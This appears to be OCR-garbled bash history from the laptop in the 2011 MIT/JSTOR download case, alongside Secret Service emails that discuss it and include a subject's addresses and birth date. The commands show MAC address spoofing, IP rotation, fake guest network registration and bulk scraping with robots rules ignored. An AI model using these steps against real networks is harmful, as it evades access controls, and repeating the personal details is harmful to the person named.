/sbin/ifconfig -a
sudo emacs /etc/ez-iptool/default.conf
sudo /etc/init.d/ez-lpupdate restart
dig ghost-laptop.dyndns-free.com
is
screen -x
w
who am i
wc -l failed-clean
screen -x
ls
cat failedandneedtograb | sed 's/.pdf//' | sort -u > failed-partial-clean
wc -l failedandneedtograb
cat failedandneedtograb | sed 's/.pdf//' | sort -u > failed-clean
rm failed-partial-clean
more failed-clean
cd blocks/done
ls | less
less blk00000000020
wc -l blk00000000020
cd ..
split --help
split -a 5 -l 1000 failed-clean blocks/bkfail
df -h
screen -x
screen -x
who am i
cd umi
python
cd umi
grep 797854 *
grep 801899 *
ls
more 900.html
grep 1978790241 *
screen -x
screen -x
links
ls
screen -x
ls blocks
ls
rm failedandneedtograb
rm failed-clean
python
ls
mv pdf2size.dbm pdf2size-js3.dbm
fg
more stilltograbx
split --help
split -a 5 -l 100 stilltograbx blocks/stillbik
ls blocks
fg
df -h
sudo umount /media/bca820ea-a03b-4556-bfa6-eff2d9eb665e/
ping 4.2.2.2
/sbin/ifconfig -a
/sbin/ifconfig -a | less
ls
"/bin/sls pdfs | head
./sls pdfs | head
cd pdfs
./sls | xargs -i mv () /vol/pdfs/
ls
ls -h pdfs3.sis
tail pdfs3.sis
ls
more js3.jsR
less js3.jsR
ls -h js3.jsR
fg
ls
ls -ih pdf2size-js4.dbm
wc -i js3.jsR
python
split -a S -i 100 30mblocks blocks/grp30m
cd /vol/jsindex/
python
cd /media/dr
cd /media/drive/
~/keepgrabbing.py
fg
more /media/drive/4478605.pdf
more /media/drive/pdf5/4478605.pdf
curl protect.theinfo.org
links protect.theinfo.org
df
ps ax | grep part
ps ax
cd /media/
ls
mkdir drive2
sudo mkdir drive2
sudo mount /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf1 drive2
df
def
 cd drive2
ls
ls -a
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd /vol
ls -l
cd ..
ls -l
rm vol
sudo rm vol
sudo ln -s /media/drive2 vol
screen -r
screen -x
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
dhcclient
sudo dhcclient
sudo ifdown eth0:1
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
ping 4.2.2.2
cat /etc/resolv
cat /etc/resolv.conf
ping 10.72.0.47
ping 10.72.0.47
ping 4.2.2.2
sudo ifconfig down eth0:1
sudo ifconfig eth0:1 down
/sbin/ifconfig -a | less
sleep 600 & & ball
bg
dhcclient
sudo dhcclient
df -h
sudo umount /dev/sdf1
fg
df
ps ax | grep dhclee
sudo kill 31696
/sbin/ifconfig -a | less
screen -x
gnome-screensaver
gnome-screensaver-command --lock
gnome-lock-screen
gnome-screensaver-lock
xscreensaver -lock
gnome-screensaver-command --lock
gnome-screensaver
screen -x
df
cd /media/
ls
mount /dev/sdgbaf9bfe1-9c54-43b1-9374-72722d78d3e0/
sudo mount /dev/sdgbaf9bfe1-9c54-43b1-9374-72722d78d3e0/
df
sudo mount /dev/sdh1 f9bfe1-9c54-43b1-9374-72722d78d3e0/
ls
/sbin/ifconfig -a
sudo ifconfig mac 91:4c:e5:a0:c7:55
ls
/sbin/ifconfig -a > mac
sudo ifconfig mac 91:4c:e5:a0:c7:55
fg
sudo ifconfig eth0 mac 91:4c:e5:a0:c7:55
man ifconfig
sudo ifconfig eth0 hw ether 91:4c:e5:a0:c7:55
/sbin/ifconfig -a | grep ether
/sbin/ifconfig eth0
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
sudo ifdown eth0
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
sudo ifconfig eth0 down
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:55
sudo ifconfig eth0 up
dhcclient
sudo dh
dhc2client
sudo dhclient
sudo dhclient -r
cd /mnt/
ls
df
cd /media/bce820eaa-03b-4556-bfa6-eff2d9eb665e/
ls
df
ln -s /media/bce820eaa-03b-4556-bfa6-eff2d9eb665e /vol
SUDO ln -s /media/bce820eaa-03b-4556-bfa6-eff2d9eb665e /vol
sudo ln -s /media/bce820eaa-03b-4556-bfa6-eff2d9eb665e /vol
cd /vol
ls
df
ifconfig
sudo dhclient -r
sudo dhclient
ls
cd
cd
screen -r
ls blocks
wc -l
screen
screen -r
screen -x
ls blocks/ | wc -l
df -h | grep media
is blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ls blocks/ | wc -l
df -h | grep media
ping google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
df
umount /media/drive
cd /media/drive/
lsl df -h
ls
sudo umount /dev/sde1
sudo umount -l /dev/sde1
df
/sbin/ifconfig -a | less
df -h | grep drive2
ls blocks/ | wc -l
cd
ls blocks/ | wc -l
df -h | grep drive2
/sbin/ifconfig -a
ifconfig eth0:1 static 18.55.7.241
sudo ifconfig eth0:1 static 18.55.7.241
/sbin/ifconfig -a
curl --interface eth0:1 www.jstor.org
curl --interface eth0 www.jstor.org
sudo ifconfig eth0:1 static 18.55.6.241
curl --interface eth0 www.jstor.org
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.5.241
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.4.241
curl --interface eth0:1 www.jstor.org
/sbin/ifconfig -a
sudo ifconfig eth0:1 static 18.54.4.241
curl --interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.54.5.241
sudo ifconfig eth0:1 static 18.55.5.241
sudo ifconfig eth0:1 up static 18.55.5.241
ls blocks/ | wc -l
ping 4.2.2.2
cd vol
cd /vol
"/keepgrabbing.py"
fg

ls vol
ls -l vol
rm vol
sudo rm vol
sudo ln -s /media/drive/vol
cd /vol
"/keepgrabbing.py a
"/keepgrabbing.py cd ..
cd vol
"/keepgrabbing.py cd
ls
mkdir tomove
cd tomove
mkdir pdfs
"/keepgrabbing.py emacs ./keepgrabbing.py
"/keepgrabbing.py sudo rm /vol
sudo ln -s /media/3aab9f61-9c54-43b1-9374-72722d78d3e0/ /vol
cd /vol
"/keepgrabbing.py fg
ls
cd .. /vol
"/keepgrabbing.py links www.jstor.org
dhcclient
/sbin/ifconfig -a
ifconfig up eth0:1 18.55.6.251
ifconfig --help | less[A
ifconfig --help
ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.251
sudo ifconfig eth0:1 up static 18.55.6.252
/sbin/ifconfig -a
ping --help | less
ping -l eth0:1 www.google.com
/sbin/ifconfig -e
/sbin/ifconfig -a | less
sudo ifconfig eth0:1 up static 18.55.6.241
/sbin/ifconfig -a
ping -l eth0:1 www.google.com
ping -l 18.55.6.241 www.google.com
curl --interface eth0:1 www.google.com
curl --interface eth0:1 www.jstor.org
curl --help | less
/sbin/ifconfig -a
sudo ifconfig eth0:1 up static 18.55.6.252

curl -interface eth0:1 www.jstor.org

curl -interface eth0:1 www.jstor.org

curl -interface eth0:1 www.jstor.org/x

ls

esmc keepgrabbing.py

cd tomoves/pdfs/

ls | wc -l

mv * /vol/pdfs

ls

cd ..

ls

mkdir uml

cd uml

curl -o 0.html "proquest.umi.com/pqwdweb?RQT=305&SO=PMID(66569)&PageSize=50"

curl -o 0.html "proquest.umi.com/pqwdweb?RQT=305&SO=PMID(66569)&PageSize=50&cfo=1"

more 0.html

curl -l proquest.umi.com/pqwdweb?RQT=305&SO=PMID(66569)&PageSize=50

curl -l "proquest.umi.com/pqwdweb?RQT=305&SO=PMID(66569)&PageSize=50"

curl -H "Cookie: JSESSIONID=4zWwqzMSRSh" -o 0.html

"proquest.umi.com/pqwdweb?RQT=305&SO=PMID(66569)&PageSize=50"

more 0.html

curl -H "Cookie: JSESSIONID=4zWwqzMSRSh" -o 50.html

"proquest.umi.com/pqwdweb?RQT=305&SO=PMID(66569)&PageSize=50&firstIndex=50"

diff -u 0.html 50.html

macs curlcommands.py

emacs curlcommands.py

python curlcommands.py

python curlcommands.py

more curlcommands.sh

rm curlcommands.py

emacs curlcommands.py

python curlcommands.py

more curlcommands.sh

bash curlcommands.sh

more 1100

more 1100.html

lynx -dump 1100.html

links 1100.html

python

cat > saneurl.py

fg

ls /media

fg

mkdir /media/drive/uml

fg

curl -l http://proquest.umi.com/pqwdweb

fg

ls /media/drive/uml

more /media/drive/2073772711.pdf

more /media/drive/umi/2073772711.pdf
more /media/drive/urnl/2073772711.html
more /media/drive/urnl/2073772711.pdf
eg
cd /vol
"/keepgrabbing.py
cd ..
cd vol
"/keepgrabbing.py
eg
"/keepgrabbing.py
cd ..
cd vol
ls
"/keepgrabbing.py
ls
df -h
pwd
cd ..
cd vol
"/keepgrabbing.py
cd .. /vol
ls
"/keepgrabbing.py
cd /media
ls
cd 3aab9fe1-9c54-43b1-9374-72722d78d3e0/
ls
df -h
sudo shutdown now
cd /media/de
cd /media/drive/
mkdir jsindex
sudo mkdir jsindex
sudo chown ghost jsindex
cd jsindex
python
ls
eg
more 2010/0800.html
cd 1989
ls
cd /vol/
ls
cd jsindex/1989
ls
ls -l | less
ls -l | tail
cd ../1990
ls -l | less
python
python /usr/bin/easy_install
sudo easy_install --install-dir /usr/lib/python2.6/ psycopg
PYTHONPATH=/usr/lib/python2.6 sudo easy_install --install-dir /usr/lib/python2.6/ pyoai
sudo easy_install --install-dir /usr/lib/python2.6/site-packages/ pyoai
sudo PYTHONPATH=/usr/lib/python2.6/site-packages easy_install --install-dir /usr/lib/python2.6/site-packages/ pyoai
cd /usr/local/lib/python2.6/
ls -a
cd dist-packages/
ls -a
rm *
sudo rm *
sudo rm -rf *
sudo easy_install pyoai
python
ls
python
cd
ls blocks/| wc -l
fg
ps ax | grep keep
ps ax | grep ser
fg %1
fg 0
fg
kill 2137
kill 2138
ps ax | grep keep
python serveblocks.py 8092
fg
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
emacs serveblocks.py
python serveblocks.py 8092
kill %1
fg
python serveblocks.py 8092
kill %1
fg
python serveblocks.py 8092
kill %1
fg
python serveblocks.py 8092
fg
kill %1
fg
python serveblocks.py 8092
kill %1
fg
python serveblocks.py 8092
fg
kill %1
fg
python serveblocks.py 8092
kill %1
fg
python serveblocks.py 8092
kill x1
fg
emacs servablocks.py
python servablocks.py 8092
cd /media/drive/
~/*.keepgrabbing.py
df -h
df -h|grep sdd; date
du -hsc /vol/*
dm /vol/urlstograb2.wget
rm /vol/urlstograb2.wget
du -hsc /vol/*
bwm-ng
du -hsc /vol/*
df -h
df -h|grep media
ls blocks|wc -l
ls
emacs oalgrab.py
python -i oalgrab.py
emacs oalgrab.py
python -i oalgrab.py
emacs oalgrab.py
mkdir muse
mv urlstograb* muse
python oalgrab.py | tee urlstograb.wget
wc -i urlstograb.wget
emacs oalgrab.py
python -i oalgrab.py | tee urlstograb.wget
emacs oalgrab.py
python -i oalgrab.py | tee urlstograb.wget
ls
emacs oalgrab.py
fg
emacs oalgrab.py
python -i oalgrab.py | tee urlstograb2.wget
fg
cd /vol
wget -x -rw -nc -l~/*.urlstograb.wget
more analysis.oxfordjournals.org/content/35/3/97.full.pdf
wget -x -rw -nc -l~/*.urlstograb.wget
mkdir sd
cd sd
wget -e robots=off --header="User-Agent: WL/6" -m -np
ls
ls
cd serial/
sudo mkdir drive
sudo mount /dev/sde drive
sudo mount /dev/sde1 drive
cd drive
ls
df
fd -h
df -h
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
ls
```
~/keepgrabbing.py
```
cd /media/drive/pdfs
more 3590725.pdf
less 3697690.pdf
less 30072010.pdf
less 60244578.pdf
less 3523970.pdf
less 3548593.pdf
less 3523645.pdf
less 3813153.pdf
less 3838338.pdf
less 3279339.pdf
less 1888323.pdf
less 688650.pdf
less "234_.pdf"
less 742572.pdf
less 30058003.pdf
less 2023815.pdf
more 2023815.pdf
cd
```
~/keepgrabbing.py
```
fg
ls
cd pdfs
ls
df -h
cd /vol/
```
~/keepgrabbing.py
```
cd ..
cd vol
```
~/keepgrabbing.py

U.S. Secret Service
Boston Field Office

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law
enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further
disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose,
or copy it; notify the sender immediately and delete it.
We need the subpoena and the additional information under one cover. Once you submit this info, we will be happy to comply with your request.

Kind regards,

This email is intended only for the use of the individual or entity to which it is addressed and may contain information that is privileged and confidential. If the reader of this email message is not the intended recipient, you are hereby notified that any dissemination, distribution, or copying of this communication is prohibited. If you have received this email in error, please notify the sender and destroy/delete all copies of the transmittal. Thank you.

In reference to the Grand Jury Subpoena originally faxed from the office of AUSA Stephen Heymann on February 2nd, 2011, please provide all records pertaining to [redacted].

Name: Aaron Swartz
Last known address:
950 Massachusetts Ave
Apartment [redacted]
Cambridge, MA 02139

Previous addresses...
1587, 15th Street
Apartment (b)(6), (b)(7)(C)
San Francisco, CA 94103

Date of Birth: 11/08/1986

Please send documents to:

@ussd.dhs.gov

U.S. Secret Service
10 Causeway Street
Suite (b)(6), (b)
Boston, MA
Fax: 617-565-5659

U.S. Secret Service
Boston Field Office

From: (b)(6), (b)(7)(C) (BOS)
Sent: Monday, February 28, 2011 4:10 PM
To: 'subpoena@aramisrule5.com'
Subject: FW: Aaron Swartz

Please read attached document:

In reference to the Grand Jury Subpoena originally faxed from the office of AUSA Stephen Heymann on February 2nd, 2011, please provide all records pertaining to

Name: Aaron Swartz
Last known address:
950 Massachusetts Ave
Apartment (b)(6), (b)(7)(C)
Cambridge, MA 02139

Previous addresses

1587, 15th Street
Apartment (b)(6), (b)(7)(C)
San Francisco, CA 94103

Date of Birth: 11/08/1986

Please send documents to:
All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
Do you have some time today that we can go over the questions you have on the bash history listed below and keepgrabbing python script?

---

From: Fuss.dhs.gov>
Date: Tue, 8 Mar 2011 17:24:05 -0500
To: (b)(6), (b)(7)@cert.org>
Subject: Re: bash history of Acer involved with MIT hack and downloading from JSTOR

Special Agent
U.S. Secret Service
Desk (Mobile)
412-288-8228 (Fax)

would anyone have time available to help me decipher the bash history for proof of Mac spoofing and interpret what the script keepgrabbing.py does?

---

Sent from Blackberry.

---

From: Hermann_Stephen (USA MA)
To: (b)(6), (b)(7)@cert.org>
Cc: (b)(6), (b)(7)@cert.org>
Sent: Wed Mar 02 17:31:13 2011
Subject: bash history of Acer involved with MIT hack and downloading from JSTOR

FYI

The bash history of the Acer that was connected to the MIT network has references to the python script keepgrabbing and JSTOR:

cat .bash_history
rm .bash_history
screen -x

---
more /etc/ex-ipupdata/default.conf
ez-ipupdata -help|less
sudo ez-ipupdata -c /etc/ex-ipupdata/default.conf
sudo ez-ipupdata -vv -c /etc/ex-ipupdata/default.conf
ez-ipupdata -help|less
sudo ez-ipupdata -vv -c /etc/ex-ipupdata/default.conf -l eth0
sudo ez-ipupdata -c /etc/ex-ipupdata/default.conf -l eth0
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
ls /mnt/|wc -I
 cd /mnt
 ls
 ps ax | grep touch
 ps ax | grep seq
touch 1
 ls
 touch 2
 seq 1 20
 seq 1 20 | xargs touch
 ls | wc -I
 seq 1 2000000 | xargs touch
 ls | wc -I
 ls | less
 ls | wc -I
 ps ax | grep bsh
 w
 who am i
 kill 3658
 kill -9 3658
 mkdir pdfs
 cd pdfs
 "~/.keepgrabbing.py
 ernacz /home/ghost/keepgrabbing.py
 zile /home/ghost/keepgrabbing.py
 "~/.keepgrabbing.py
 touch foo
 rm foo
 cd ..
 "~/keepgrabbing.py
 cd /mnt
 ls
 rm *
 ls
 cd pdfs
 ls
 cd
 ls
 python serveblocks.py
 python serveblocks.py 8092
 bg
 fg
 ps ax | grep serve
 kill 2461
cd /mnt/
"/keepgrabbing.py
"/keepgrabbing.py
cd /mnt/
"/keepgrabbing.py
"/keepgrabbing.py
screen -r
screen -x
uptime
df -h
screen -r
screen -x
e
uptime
bwm-ng
df -h
screen -x
ps ax | grep curl
ps ax | grep keepgr | awk '{print $1}' | xargs kill
ps ax | grep curl
ps ax | grep gr
ps ax | grep curl
df -h
/sbin/ifconfig -a
sudo ifconfig eth0:1 static 18.55.7.49
curl -I http://www.jstor.org
curl -I http://www.google.org
rsync -avz pdifs/ghost-macbook.dyndns-free.com:/vol/pdifs
screen -r
screen -x
python
sudo easy_install pyoai
sudo apt-get install python-bzml
sudo easy_install pyoai
python
sudo easy_install --remove pyoai
easy_install --help
easy_install --help | less
sudo easy_install --remove pyoai
python
sudo easy_install pyoai
cd /usr/local/lib/python2.6/
is
is site-packages/
cd
is
locate easy-install.pth
locate easy_install.pth
sudo easy_install pyoai
locate easy-install.pth
cd /usr/lib/python
python osigrab.py
python -I osigrab.py
cd /vol/
is
cd muse.jhu.edu/
is
cd content/oal/journals/
is
cd social_text/
is
cd v017/
is
more 17.3
more 17.3dutton.html
man wget
du -hs /vol/*
du -hs /vol/*
bwm-ng
ls -lh uristograb.wget
grep pdf uristograb.wget
screen -x
man wget
cd /vol/
is
wget -x -nc */uristograb.wget
wget -x -nc -i */uristograb.wget
sudo chown ghost
wget -x -nc -i */uristograb.wget
wget -q -x -nc -i */uristograb.wget
wget -nv -x -nc -i */uristograb.wget
screen -x
emacs osigrab.py
sudo apt-get install emacs23-nox
emacs osigrab.py
python osigrab.py | tee uristograb.wget
wc -l uristograb.wget
grep html uristograb.wget | sed -e 's/html/pdf/ > uristograb2.wget
grep pdf uristograb.wget | sed -e 's/pdf/html/ > uristograb2.wget
more uristograb
more uristograb2.wget
cd /vol/
wget -nv -x -nc -i */uristograb2.wget
grep html uristograb.wget | sed -e 's/html/pdf/ >> uristograb2.wget
cd
grep html uristograb.wget | sed -e 's/html/pdf/ >> uristograb2.wget
cd /vol/
wget -nv -x -nc -i */uristograb2.wget
curl muse.jhu.edu/links
screen -x
cd /media/noname/
is
cp tograb.log /home/ghost/
cd
cd
cd blocks/
ls | wc -l
cd ..
ls
mv tograb.log blocks/
cd blocks/
more tograb.log
split -n 100 tograb.log
split --help
split --help | less
split -i 100 tograb.log tograb.
ls
rm tograb.*
cp /media/noname/tograb.log tograb-
split --help | less
split -a 5 -i 100 tograb.log tograb-
ls tograb *
w -l
ls | wc -l
mv tograb.log ..
sudo dhclient --release
sudo dhclient -r
sudo dhclient
sudo dhclient
sudo dhclient
sudo /etc/init.d/ex-updatetime restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig -a | less
ping ghost-laptop.dyndns-free.com
screen -x
sudo ifconfig eth0 up
curl --interface eth0 https://nic.mit.edu:444/bin/dynaarea?class=visitor
/sbin/ifconfig -a
sudo dhclient
curl --interface eth0 https://nic.mit.edu:444/bin/dynaarea?class=visitor
cat logininfo
curl --interface eth0 https://10.72.0.47:444/bin/dynaarea?class=visitor
curl --interface eth0 10.72.0.47
ping --hel
ping -i eth0 10.72.0.47
/sbin/ifconfig -a
ping -i eth0 4.2.2.2
man ping
ping -i 10.2.55.120 4.2.2.2
sudo ping -i 10.2.55.120 4.2.2.2
/sbin/ifconfig -a | less
sudo ping -i 10.2.55.120 4.2.2.2
sudo ping -i wlan0 4.2.2.2
sudo ping -i eth0 4.2.2.2
ping -I eth0 4.2.2.2
sudo ping -I eth0 4.
sudo ping -I eth0 10.72.0.47
sudo curl --interface eth0 10.72.0.47
man curl
sudo curl --interface 10.2.55.120 10.72.0.47
route
/sbin/ifconfig -a
route add default gw 18.2.55.1
sudo route add default gw 18.2.55.1
sudo ping -I eth0 10.72.0.47
echo "sudo route add default gw 18.2.55.1" >> loginfo
sudo curl --interface 10.2.55.120 10.72.0.47
curl --interface eth0 10.72.0.47
curl --interface eth0 https://10.72.0.47:444/bin/dynareg?class=visitor
curl -k --interface eth0 https://10.72.0.47:444/bin/dynareg?class=visitor
curl -d "class=visitor" -k --interface eth0 https://10.72.0.47:444/bin/dynareg
curl -d "class=visitor&action=Register" -k --interface eth0 https://10.72.0.47:444/bin/dynareg
curl -d "vname=Grace\Host&vemail=guest42@mailinator.com&action=Register\&class=visitor" -k --interface eth0
curl --interface eth0 10.72.0.47
dhsclient eth0
sleep 600; sudo dhclient eth0
route
curl --interface wlan0 www.yahoo.com
curl --interface wlan0 4.2.2.2
sleep 600; sudo dhclient eth0
sudo dhclient eth0
sudo ping -I eth0 10.72.0.47
sudo ping -I wlan0 4.2.2.2
man route
dnsip
dig www.yahoo.com
dig www.yahoo.com | grep "IN"
dig www.yahoo.com | grep "IN" | grep 10.72
echo 'dig www.yahoo.com | grep "IN" | grep 10.72' > loginfo
/sbin/ifconfig -a
/sbin/ifconfig -a | grep en
sudo ifconfig eth0 hw 00:4c:e5:a0:c7:56
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:56
sudo ifdown eth0
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:56
sudo ifconfig eth0 down
sudo ifconfig eth0 hw ether 00:4c:e5:a0:c7:56
sudo ifconfig eth0 up
emacs logininfo
ping www.yahoo.com
dig yahoo.com
sudo dhclient
dig www.yahoo.com
emac$ logininfo
emac$ /etc/ez-ipupdate/default.conf
/sbin/ifconfig -a
sudo emacs /etc/ez-ipupdate/default.conf
/etc/init.d/ez-ipupdate restart
sudo /etc/init.d/ez-ipupdate restart
dig
dig x.dyndns-free.com
dig ns x.dyndns-free.com
cat /etc/resolv.c
cat /etc/resolv.conf
dig www.yahoo.com
dig www.yahoo.com
links -help
links -help | grep inerf
links -help | grep interf
lynx
curl -interface eth0 www.yahoo.com
dig @10.2.55.7 www.yahoo.com
dig @10.2.55.2 www.yahoo.com
sudo dhclient
cat /etc/resolv.conf
sudo dhclient
cat /etc/resolv.conf
ping 10.72.0.47
dig @10.72.0.47 www.google.com
gnome-screensaver-
df
ping www.yahoo.com
echo 10.72.0.47>> logininfo
dig -help
host -help
dig ns x.dyndns-free.com
dig @ns1.dyndns.org ghost-laptop.dyndns-free.org
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
/sbin/ifconfig -a
ssh ghost-laptop.dyndns-free.org
ssh ghost-laptop.dyndns-free.com
ssh --help | grep interf
man ssh
sudo ifconfig eth0 down
ssh ghost-laptop.dyndns-free.com
sudo curl --interface eth0 10.72.0.47
route
ssh ghost-laptop.dyndns-free.com
ping www.yahoo.com
/sbin/ifconfig -a
ssh 10.189.76.179
sudo dhclient eth0
sudo dhclient eth0
route
man route
route
sudo dhclient eth0
sudo route del default
sudo route -net 10.0.0.0 gw 10.189.64.1
sudo route add -net 10.0.0.0 gw 10.189.64.1
sudo route add 10.0.0.0 gw 10.189.64.1
route
ping 10.189.76.179
ping 30.72.0.47
sudo dhclient eth0
/sbin/ifconfig -a
ping google.com
route
ping 4.2.2.2
sudo dhclient eth0
cat logininfo
curl -d "\nname=Grace\nHost=\nemail=ghost42@mallinator.com\nvpassword=\nvinterval=14\n" https://10.72.0.47:444/bin/dynarea
echo 'curl -d "\nname=Grace\nHost=\nemail=ghost42@mallinator.com\nvpassword=\nvinterval=14\n" -k -interface eth0 https://10.72.0.47:444/bin/dynarea' >> logininfo
curl www.yahoo.com
echo 'curl -d "\nname=Grace\nHost=\nemail=ghost42@mallinator.com\nvpassword=\nvinterval=14\n" -k -interface eth0 https://10.72.0.47:444/bin/dynarea' >> logininfo
curl -d "\nname=Grace\nHost=\nemail=ghost42@mallinator.com\nvpassword=\nvinterval=14\n" -k -interface eth0 https://10.72.0.47:444/bin/dynarea
curl -d "\nname=Grace\nHost=\nemail=ghost42@mallinator.com\nvpassword=\nvinterval=5\n" -k -interface eth0 https://10.72.0.47:444/bin/dynarea
sudo dhclient eth0
sudo dhclient -r
sudo dhclient -r eth0
sudo dhclient eth0
/sbin/ifconfig -a > ifconfiglog
/sbin/ifconfig -a
sudo ifconfig wlan0 down
sudo ifconfig wlan0 hw ether 90:4ce5:a0:c7:55
sudo ifconfig wlan0 up
/sbin/ifconfig -a
/etc/init.d/ez-tpuupdate restart
sudo /etc/init.d/ez-tpuupdate restart
dig ghost-laptop.dyndns-free.com
ping 4.2.2.2
sudo dhclient
ping 4.2.2.2
ping www.yahoo.com
route
curl www.yahoo.com
ssh ghost-laptop.dyndns-free.com
/sbin/ifconfig -a
ssh 18.111.48.33
curl www.yahoo.com
sudo dhclient eth0

cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/
ls
ls | grep sjp
ls | grep -v oxford

cd /vol

ls
cd www.genome.org/content/1/3/
ls
cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/
mORE pdfs/2520824.pdf
more pdfs/25208234.pdf
ls -l pdfs/25208234.pdf
ls -l pdfs | head
python
ps ax | grep python
ps ax | grep ls
sudo kill 8185
sudo kill -9 8185
fg
cd bl
cd blocks/
ls
cd done/
ls | less
ls | head
more alipd00000009
more alipd00000009
more alipd00000009
ls -l /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/20273145.pdf
ls | tail
more tograb-eagu
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/359815.pdf
ls -l /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/359815.pdf
ls | less
ls | grep -v pd | less
ls | grep blk | tail
more blil000003629
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/399479
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/399479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/3999479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/3999479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/3999478.pdf
cd
python
ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /media/drive
sudo ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /media/drive
fg
ls /media/drive/pdfs*
c
w
/sbin/ifconfig -a
ssh 10.189.61.53
/sbin/ifconfig -a
    sudo /etc/init.d/ex-ipaydate restart
    ssh 18.111.48.93
ls
    more failedandneedtograd
    cat failedandneedtograd | sed -e 's/-.pdf//' | sort -u | head
    cat failedandneedtograd | sed -e 's/-.pdf//' | sort -u > failed-partial-clean
    head failed-partial-clean > blocks/testfailed
/sbin/ifconfig -a
curl --interface wlan0 www.yahoo.com
route
    ping 18.111.31.1
    wc -l failedandneedtograd
    sudo apt-get install autoconf
    sudo apt-get update
man ssh
    ps ax | grep dhclient
    kill 7937
    sudo kill 7937
    sudo kill 8001
    sudo kill 8281
    ps ax | grep dhclient
    ps ax | grep netwo
    ps ax | grep Netw
    sudo kill 730
    ps ax | grep Netw
    ps axf
/etc/init.d/network-manager stop
    sudo /etc/init.d/network-manager stop
    ps ax
    ps ax | grep dhcl
    sudo kill 8839
    ps ax
/sbin/ifconfig -a
    sudo emacs /etc/ex-ipaydate/default.conf
    sudo /etc/init.d/ex-ipaydate restart
dig ghost-laptop.dyndns-free.com
ls
    screen -x
    w
    who am i
    wc -l failed-clean
    screen -x
    l
ls
    cat failedandneedtograd | sed -e 's/-.pdf//' | sort -u > failed-partial-clean
    wc -l failedandneedtograd
    cat failedandneedtograd | sed -e 's/-.pdf//' | sort -u > failed-clean
    rm failed-partial-clean
    more failed-clean
cd blocks/done
ls | less
less blk00000000020
wc -l blk00000000020
cd ..
ls
split --help
split -a 5 -l 1000 failed-clean blocks/blkm
ls
who am i
cd uml
python
cd uml
grep 797854 *
grep 801899 *
lk
ls
more 900.html
grep 1978790241 *
screen -r
ls
screen -x
links
ls
screen -x
ls blocks
ls
rm failedandneedtograb
rm failed-clean
python
ls
mv pdf2size.dbm pdf2size-js3.dbm
fg
more stiltograbx
split --help
split -a 5 -l 100 stiltograbx blocks/stilbl
ls blocks
fg
cd /media/drive/pdfs
more 3590723.pdf
ls
less 3697690.pdf
cd /media/drive/pdfs
more 3590725.pdf
less 3697690.pdf
ls
ls uml/sanecurl.py
links http://linkinghub.elsevier.com/retrieve/all/0933365789900210
links "http://linkinghub.elsevier.com/retrieve/all/0928119994900006x"
more /vol/um1/107685.html
ls
ls -l
more pdfs3.xls
tail pdfs3.xls
ls
more js3.jsR
less js3.jsR
ls -lh js3.jsR
fg
ls
ls -lh pdf2size-ns4.dbm
wc -l js3.jsR
python
split -a 5 -l 100 30mblocks blocks/grp30m
cd /vol/jsindex/
python
cd /media/dr
 cd /media/drive/
~/keepgrabbing.py
fg
more /media/drive/4478605.pdf
more /media/drive/pdfs/4478605.pdf
curl protect.theinfo.org
links protect.theinfo.org
df
ps aux | grep part
ps aux
cd /media/
ls
mkdir drive2
sudo mkdir drive2
sudo mount /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf1 drive2
df
df -h
cd drive2
ls
ls -a
mkdir pdfs
sudo mkdir pdfs
sudo chown ghost pdfs
cd /vol
ls -l
cd..
ls -lrm vol
sudo rm vol
sudo ln -s /media/drive2 vol
screen -r
screen -x
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
dhcclient
sudo dhcclient
sudo ldconfig eth0:1
ping www.google.com
/sbin/ifconfig -a
/sbin/ifconfig -a | less
ping 4.2.2.2
cat /etc/resolv
/proc/mounts | grep /dev/sdf1
ls
exit

ps ax | grep dhcpcd
sudo kill 31696
/sbin/ifconfig -a | less
screen -x
